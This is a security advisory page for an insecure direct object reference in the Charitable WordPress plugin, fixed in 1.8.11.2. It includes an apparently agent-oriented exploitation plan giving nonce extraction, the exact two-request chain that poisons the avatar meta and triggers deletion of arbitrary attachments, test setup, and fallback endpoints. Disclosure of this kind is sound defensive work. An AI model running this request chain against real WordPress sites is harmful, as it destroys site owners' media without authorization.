Charitable <= 1.8.11.1 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary Attachment Deletion via 'avatar' Parameter
Description
The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Insecure Direct Object Reference / Authorization Bypass leading to Arbitrary Attachment Deletion in versions up to, and including, 1.8.11.1 via the profile avatar update flow. This is due to the save_avatar() function in Charitable_Profile_Form calling wp_delete_attachment() on an attachment ID read from the user's 'avatar' meta without validating that the attachment is owned by the user, combined with Charitable_Data_Processor::process_picture() returning the raw posted value when no file is uploaded, allowing the 'avatar' user meta to be poisoned with any attacker-chosen attachment ID. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary attachments from the Media Library by performing a two-request chain (first poisoning the stored avatar meta value with a target attachment ID, then triggering deletion via a normal avatar upload).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.11.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-10038 (Charitable Arbitrary Attachment Deletion) ## 1. Vulnerability Summary The Charitable plugin for WordPress (versions <= 1.8.11.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in its profile update flow. The vulnerability stems from a…
Show full research plan
Exploitation Research Plan: CVE-2026-10038 (Charitable Arbitrary Attachment Deletion)
1. Vulnerability Summary
The Charitable plugin for WordPress (versions <= 1.8.11.1) contains an Insecure Direct Object Reference (IDOR) vulnerability in its profile update flow. The vulnerability stems from a two-part failure in logic:
- Meta Poisoning: The
Charitable_Data_Processor::process_picture()function (used to handle avatar uploads) incorrectly returns the raw value of theavatarPOST parameter if no file is actually uploaded. This allows an authenticated user to set theiravataruser meta to an arbitrary integer (representing an attachment ID). - Unvalidated Deletion: When a user subsequently updates their profile with a new avatar, the
Charitable_Profile_Form::save_avatar()function retrieves the "old" attachment ID from the user's meta and callswp_delete_attachment()on it without verifying that the current user owns that attachment.
2. Attack Vector Analysis
- Endpoint: The profile form submission handler, typically triggered via a POST request to a page containing the
[charitable_profile]shortcode or viaadmin-ajax.php/admin-post.phpif the form redirects there. - Action:
update_profile(defined inCharitable_Profile_Form::$form_action). - Required Parameter:
avatar(the ID or file input), and the nonce_charitable_user_profile_nonce. - Authentication: Authenticated Subscriber-level access or higher.
- Preconditions: The attacker must be able to view the profile form to obtain a valid nonce.
3. Code Flow
- Submission: User submits the profile form (
Charitable_Profile_Form). - Processing (Poisoning):
- The form processes input via
Charitable_Data_Processor::process_picture(). - If a numeric value is passed in the
avatarparameter and no file is uploaded, the function returns that numeric value. - This value is saved to the user's meta key
avatarvia thecharitable_profile_update_valuesfilter.
- The form processes input via
- Deletion (Triggering):
- User submits the profile form again, this time uploading a legitimate image.
Charitable_Profile_Form::save_avatar()is triggered.- It retrieves the current value of the
avatarmeta (the poisoned ID). - It calls
wp_delete_attachment( $poisoned_id ). - Result: The attachment corresponding to
$poisoned_idis deleted from the server and database.
4. Nonce Acquisition Strategy
The Charitable_Profile_Form uses a nonce for security.
- Nonce Name:
_charitable_user_profile_nonce - Action String:
charitable_user_profile
Acquisition Steps:
- Create a page with the profile shortcode:
wp post create --post_type=page --post_status=publish --post_content='[charitable_profile]' --post_title='Profile' - Log in as a Subscriber user.
- Use the
browser_navigatetool to go to the created page. - Use
browser_evalto extract the nonce from the hidden input field:browser_eval('document.querySelector(\'input[name="_charitable_user_profile_nonce"]\').value')
5. Exploitation Strategy
Step 1: Meta Poisoning
Set the user's avatar meta to the ID of the target attachment (e.g., Attachment ID 99).
- Method: POST
- URL:
[URL of the page with [charitable_profile]] - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
_charitable_user_profile_nonce:[EXTRACTED_NONCE]action:update_profileavatar:99(The target attachment ID)first_name:Attacker(Required field)last_name:User(Required field)user_email:attacker@example.com(Required field)
Step 2: Trigger Deletion
Perform a multipart/form-data POST to upload a new avatar. This causes the plugin to "clean up" the previous (poisoned) avatar.
- Method: POST
- URL:
[URL of the page with [charitable_profile]] - Headers:
Content-Type: multipart/form-data - Parameters:
_charitable_user_profile_nonce:[EXTRACTED_NONCE]action:update_profileavatar:[A legitimate small image file]first_name:Attackerlast_name:Useruser_email:attacker@example.com
6. Test Data Setup
- Admin User: Create a standard admin.
- Target Attachment: As Admin, upload an image (e.g.,
target.jpg). Note its ID (e.g.,ID: 10). - Subscriber User: Create a user
victim_subscriberwith the Subscriber role. - Public Page: Create a page at
/profile/containing the[charitable_profile]shortcode.
7. Expected Results
- After Step 1: The user meta
avatarfor the Subscriber user should be exactly10. - After Step 2:
- The HTTP response should indicate a successful profile update.
- The attachment with ID
10should no longer exist in the WordPress media library. - The file on disk associated with attachment
10should be deleted.
8. Verification Steps
- Check Meta (After Step 1):
wp user meta get [SUBSCRIBER_ID] avatar
Expected: 10 - Check Attachment Existence (After Step 2):
wp post exists 10
Expected: No output (or exit code 1) - Check Media Library:
wp post list --post_type=attachment --post__in=10
Expected: Empty list
9. Alternative Approaches
If direct form submission to the page fails, attempt to submit to admin-post.php:
- URL:
/wp-admin/admin-post.php - Body: Add
charitable_action=update_profileto the parameters, as some Charitable forms use a custom action router in theadmin-post.phpflow.
If process_picture() rejects raw integers in a standard POST, try a multipart/form-data request where the avatar field is a text part containing the ID instead of a file part.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.